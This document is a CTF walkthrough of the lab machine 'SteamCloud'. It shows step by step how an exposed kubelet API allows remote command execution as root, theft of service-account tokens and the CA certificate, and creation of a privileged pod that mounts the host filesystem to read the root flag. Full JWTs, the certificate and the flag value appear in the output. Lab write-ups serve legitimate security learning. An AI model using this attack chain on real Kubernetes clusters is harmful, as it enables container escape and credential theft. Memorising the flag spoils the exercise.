SteamCloud - Easy

---

Step 1 : -

Do nmap you'll find kubernetes componets

  nmap 10.10.11.69 -sV -sC -T3 -vv -oN nmap.txt

---

Step 2 : -

using tool like kubectl and kubeletctl you'll access the further command

[sher@Sher ~]$ kubeletctl -s 10.129.1.104 pods 

---

Step 3 : -

Download kubeletctl

[sher@Sher ~]$ sudo curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.13/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && sudo mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

[sher@Sher ~]$ kubeletctl scan rce
[*] Failed to get pods from: 127.0.0.1
┌───────────────────────────────────────────────────┐
│          Node with pods vulnerable to RCE         │
├───┬─────────┬──────┬───────────┬────────────┬─────┤
│   │ NODE IP │ PODS │ NAMESPACE │ CONTAINERS │ RCE │
├───┼─────────┼──────┼───────────┼────────────┼─────┤
│   │         │      │           │            │ RUN │
├───┼─────────┼──────┼───────────┼────────────┼─────┤
└───┴─────────┴──────┴───────────┴────────────┴─────┘
[sher@Sher ~]$ kubeletctl exec "whoami" -p nginx -c nginx
error sending request: Post "https://127.0.0.1:10250/exec/default/nginx/nginx?command=whoami&input=1&output=1&tty=1": dial tcp 127.0.0.1:10250: connect: connection refused
[sher@Sher ~]$ kubeletctl exec "id" -p nginx -c nginx
error sending request: Post "https://127.0.0.1:10250/exec/default/nginx/nginx?command=id&input=1&output=1&tty=1": dial tcp 127.0.0.1:10250: connect: connection refused
[sher@Sher ~]$ kubeletctl exec "id" -p nginx -c nginx -s 10.129.1.104 
uid=0(root) gid=0(root) groups=0(root)
[sher@Sher ~]$ kubeletctl exec "root" -p nginx -c nginx -s 10.129.1.104 
OCI runtime exec failed: exec failed: container_linux.go:344: starting container process caused "exec: \"root\": executable file not found in $PATH": unknown
command terminated with exit code 126
[sher@Sher ~]$ kubeletctl exec "whoami" -p nginx -c nginx -s 10.129.1.104 
root
[sher@Sher ~]$ kubeletctl scan token -s 10.129.1.104 
1. Pod: kube-proxy-pkhcl
   Namespace: kube-system
   Container: kube-proxy
   Url: https://10.129.1.104:10250/run/kube-system/kube-proxy-pkhcl/kube-proxy
   Output: 
eyJhbGciOiJSUzI1NiIsImtpZCI6Im9ZTmNrUjRYcnYzdFQ3anRhX2p3ZXpIajVrVXlvSzYyUDlOM0QtdFpnMFEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAzOTM3OTA5LCJpYXQiOjE3NzI0MDE5MDksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsInBvZCI6eyJuYW1lIjoia3ViZS1wcm94eS1wa2hjbCIsInVpZCI6IjE3ZjhlMmM3LTA4MzQtNDQ5Yy1iOGFiLWMyYTY4MjViZWU2MSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoia3ViZS1wcm94eSIsInVpZCI6IjhjMWY2NTgyLTUyZjktNDBlMS05NTE3LTNiZTM2YjcyNDdkMCJ9LCJ3YXJuYWZ0ZXIiOjE3NzI0MDU1MTZ9LCJuYmYiOjE3NzI0MDE5MDksInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTprdWJlLXByb3h5In0.E7wg7kAPGplEFnBHb67jldZ1Z-cbVi32VJ9JFJwpumeYaBgLMsZ7LHbsIa_acX3x_ZzQrNCIYUAiG1zVzQQd3kOms-y_Ctx1Q5FiBYwVaS9FoiySorRc6RiytptywDOqyed1cFwHepF7HHn6HGxYdLhg9iKCuswV8qrUb4L-0vwsZH5w2My2XJ-S68GrmFKIWH4OJohDO31CkPWiHXXQCEgs1Xr-bvgEib1geHMff6FN1In-WzesvLmAlGgJrhgLjPWZLgmnQDcGVdUnNFY_IqPGUkIFA5pP0vQ_OZB1hB35NjgCr2GyniL1Wd8vtzUMBzjgscEeW_RuXwKhhn1otA


╭──────────────────────────────────────────────────────────────╮
│                       Decoded JWT token                      │
├───────────────┬──────────────────────────────────────────────┤
│      KEY      │                     VALUE                    │
├───────────────┼──────────────────────────────────────────────┤
│ kubernetes.io │ namespace: kube-system                       │
│               │ pod:                                         │
│               │   name: kube-proxy-pkhcl                     │
│               │   uid: 17f8e2c7-0834-449c-b8ab-c2a6825bee61  │
│               │ serviceaccount:                              │
│               │   name: kube-proxy                           │
│               │   uid: 8c1f6582-52f9-40e1-9517-3be36b7247d0  │
│               │ warnafter: 1.772405516e+09                   │
│               │                                              │
├───────────────┼──────────────────────────────────────────────┤
│ nbf           │ 1.772401909e+09                              │
├───────────────┼──────────────────────────────────────────────┤
│ sub           │ system:serviceaccount:kube-system:kube-proxy │
├───────────────┼──────────────────────────────────────────────┤
│ aud           │ https://kubernetes.default.svc.cluster.local │
│               │                                              │
├───────────────┼──────────────────────────────────────────────┤
│ exp           │ 1.803937909e+09                              │
├───────────────┼──────────────────────────────────────────────┤
│ iat           │ 1.772401909e+09                              │
├───────────────┼──────────────────────────────────────────────┤
│ iss           │ https://kubernetes.default.svc.cluster.local │
╰───────────────┴──────────────────────────────────────────────╯
2. Pod: nginx
   Namespace: default
   Container: nginx
   Url: https://10.129.1.104:10250/run/default/nginx/nginx
   Output: 
eyJhbGciOiJSUzI1NiIsImtpZCI6Im9ZTmNrUjRYcnYzdFQ3anRhX2p3ZXpIajVrVXlvSzYyUDlOM0QtdFpnMFEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAzOTM3OTMyLCJpYXQiOjE3NzI0MDE5MzIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjdkY2I5YjVlLTJjODUtNGViMC1iOGVjLTk0ZTg2YWQ2ZDAxNCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6ImM4YzQwZGY1LTRlNjItNDE3ZS04ZGQ5LTE5YmIxY2UyOWZlNyJ9LCJ3YXJuYWZ0ZXIiOjE3NzI0MDU1Mzl9LCJuYmYiOjE3NzI0MDE5MzIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.hB7n30od4_PSL3I4nTdjaw4q398J-rX1Rbu9zx_OFTLw2ZLsgz2EvjC-Asj5VrHmqpSpUrvfIQvBweNa0DTTZz3G-TSPBr5nBBhrDt6CD5ANpei7pTr0ZTh_cXd8J5SE0sK4qwD4VIHtqA-MRwb0EA-0U67hf_jiHQwgt5A7zToSxnsIexfV3BbW1oqjGtf-qMzVJb6E87qkofkRIinT-vmyCebXJIzvEaXZlrZAXq9YXaR3xQcDXxztZgWoYTgtRYDsxv-vt3nUfhf9Oa0WQ-gLF8ksoGfJ-Y5_C0sAREgyFqsQ_Dt8rrTdBW4xDa3JUIc4cvULW6TTSCPSYD5D2g


╭──────────────────────────────────────────────────────────────╮
│                       Decoded JWT token                      │
├───────────────┬──────────────────────────────────────────────┤
│      KEY      │                     VALUE                    │
├───────────────┼──────────────────────────────────────────────┤
│ sub           │ system:serviceaccount:default:default        │
├───────────────┼──────────────────────────────────────────────┤
│ aud           │ https://kubernetes.default.svc.cluster.local │
│               │                                              │
├───────────────┼──────────────────────────────────────────────┤
│ exp           │ 1.803937932e+09                              │
├───────────────┼──────────────────────────────────────────────┤
│ iat           │ 1.772401932e+09                              │
├───────────────┼──────────────────────────────────────────────┤
│ iss           │ https://kubernetes.default.svc.cluster.local │
├───────────────┼──────────────────────────────────────────────┤
│ kubernetes.io │ warnafter: 1.772405539e+09                   │
│               │ namespace: default                           │
│               │ pod:                                         │
│               │   name: nginx                                │
│               │   uid: 7dcb9b5e-2c85-4eb0-b8ec-94e86ad6d014  │
│               │ serviceaccount:                              │
│               │   name: default                              │
│               │   uid: c8c40df5-4e62-417e-8dd9-19bb1ce29fe7  │
│               │                                              │
├───────────────┼──────────────────────────────────────────────┤
│ nbf           │ 1.772401932e+09                              │
╰───────────────┴──────────────────────────────────────────────╯

---

Step 4 : -

here we use this tool kubeletctl to get into kubelets bash so can enumerate further and get ca_crt and token in secrets directory.

[sher@Sher ~]$ kubeletctl exec "bash" -p nginx -c nginx -s 10.129.1.104 
root@nginx:/# ls
ls
bin   dev  home  lib64	mnt  proc  run	srv  tmp  var
boot  etc  lib	media	opt  root  sbin  sys  usr
root@nginx:/# cd var
cd var
root@nginx:/var# cd run 
cd run 
root@nginx:/var/run# secrets
secrets
bash: secrets: command not found
root@nginx:/var/run# ls
ls
lock  nginx.pid  secrets  utmp
root@nginx:/var/run# cd secrets
cd secrets
root@nginx:/var/run/secrets# ls
ls
kubernetes.io
root@nginx:/var/run/secrets# cd kubernetes.io
cd kubernetes.io
root@nginx:/var/run/secrets/kubernetes.io# ls
ls
serviceaccount
root@nginx:/var/run/secrets/kubernetes.io# cd serviceaccount
cd serviceaccount
root@nginx:/var/run/secrets/kubernetes.io/serviceaccount# ls
ls
ca.crt	namespace  token
root@nginx:/var/run/secrets/kubernetes.io/serviceaccount# ca.crt
ca.crt
bash: ca.crt: command not found
root@nginx:/var/run/secrets/kubernetes.io/serviceaccount# ls
ls
ca.crt	namespace  token
root@nginx:/var/run/secrets/kubernetes.io/serviceaccount# cat ca.crt
cat ca.crt
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoa
YRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0M
HLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7
deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqG
VeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9Bpisll
hnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o
1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUm
lt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyO
DGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+
9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/D
xpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0
JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMz
kf2eZIBNMp0TFg==
-----END CERTIFICATE-----
root@nginx:/var/run/secrets/kubernetes.io/serviceaccount# exit

---

Step 5 :

After getting the ca.crt and token we use it to list pods .

[sher@Sher ~]$ ./kubectl --server https://10.129.1.104:8443 --certificate-authority ca.crt --token=$(cat token1) auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get create list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

now here you get to know that you have the privilege to create a pod and you will get the privilege thus you get go further with your part

---

Step 6 :

now create your own pod

apiVersion: v1
kind: Pod
metadata:
  name: pwn-pod
spec:
  containers:
  - name: pwn-container
    image: hac10101/soldoutmaster_concert_app_ctf:latest
    imagePullPolicy: IfNotPresent
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-volume
      mountPath: /host
      readOnly: true
  volumes:
  - name: host-volume
    hostPath:
      path: /

---

Step 7 :

now you will list all the pods again if the pod is created or not.

[sher@Sher ~]$ ./kubectl --server https://10.129.1.104:8443 --certificate-authority ca.crt --token=$(cat token1) get pods 
NAME       READY   STATUS             RESTARTS   AGE
amal-pod   1/1     Running            0          23s
nginx      1/1     Running            0          172m
pwn-pod    0/1     ImagePullBackOff   0          6m9s
[sher@Sher ~]$ ./kubectl --server https://10.129.1.104:8443 --certificate-authority ca.crt --token=$(cat token1) exec -it pwn.yaml -- bash
Error from server (NotFound): pods "pwn.yaml" not found
[sher@Sher ~]$ ./kubectl --server https://10.129.1.104:8443 --certificate-authority ca.crt --token=$(cat token1) exec -it amal-pod -- bash
Error from server (Forbidden): pods "amal-pod" is forbidden: User "system:serviceaccount:default:default" cannot create resource "pods/exec" in API group "" in the namespace "default"
[sher@Sher ~]$ kubeletctl -s 10.129.1.104 pods 
┌─────────────────────────────────────────────────────────────────────────────────┐
│                                Pods from Kubelet                                │
├────┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│    │ POD                                │ NAMESPACE   │ CONTAINERS              │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  1 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  2 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  3 │ kube-proxy-pkhcl                   │ kube-system │ kube-proxy              │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  4 │ etcd-steamcloud                    │ kube-system │ etcd                    │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  5 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  6 │ storage-provisioner                │ kube-system │ storage-provisioner     │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  7 │ coredns-78fcd69978-8nbvl           │ kube-system │ coredns                 │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  8 │ nginx                              │ default     │ nginx                   │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  9 │ pwn-pod                            │ default     │ pwn-container           │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 10 │ amal-pod                           │ default     │ amal-container          │
│    │                                    │             │                         │
└────┴────────────────────────────────────┴─────────────┴─────────────────────────┘
[sher@Sher ~]$ kubeletctl -s 10.129.1.104 kubeletctl exec "bash" -p amal-pod -c amal-container
Error: unknown command "kubeletctl" for "kubeletctl"
Run 'kubeletctl --help' for usage.
unknown command "kubeletctl" for "kubeletctl"
[sher@Sher ~]$ kubeletctl -s 10.129.1.104 exec "bash" -p amal-pod -c amal-container
root@amal-pod:/# ls
ls
bin   dev  home  lib	media  opt   root  sbin  sys  usr
boot  etc  host  lib64	mnt    proc  run   srv	tmp  var
root@amal-pod:/# cd host
cd host
root@amal-pod:/host# ls
ls
bin   home	     lib32	 media  root  sys  vmlinuz
boot  initrd.img      lib64	 mnt	run   tmp  vmlinuz.old
dev   initrd.img.old  libx32	 opt	sbin  usr
etc   lib	     lost+found  proc	srv   var
root@amal-pod:/host# cd root
cd root
root@amal-pod:/host/root# ls
ls
root.txt
root@amal-pod:/host/root# cat root.txt
cat root.txt
419e11f9eda3b5d28fa74adba443a59a

hence after creating the pod you got your pod now go in root and get you flag b!t(#.

---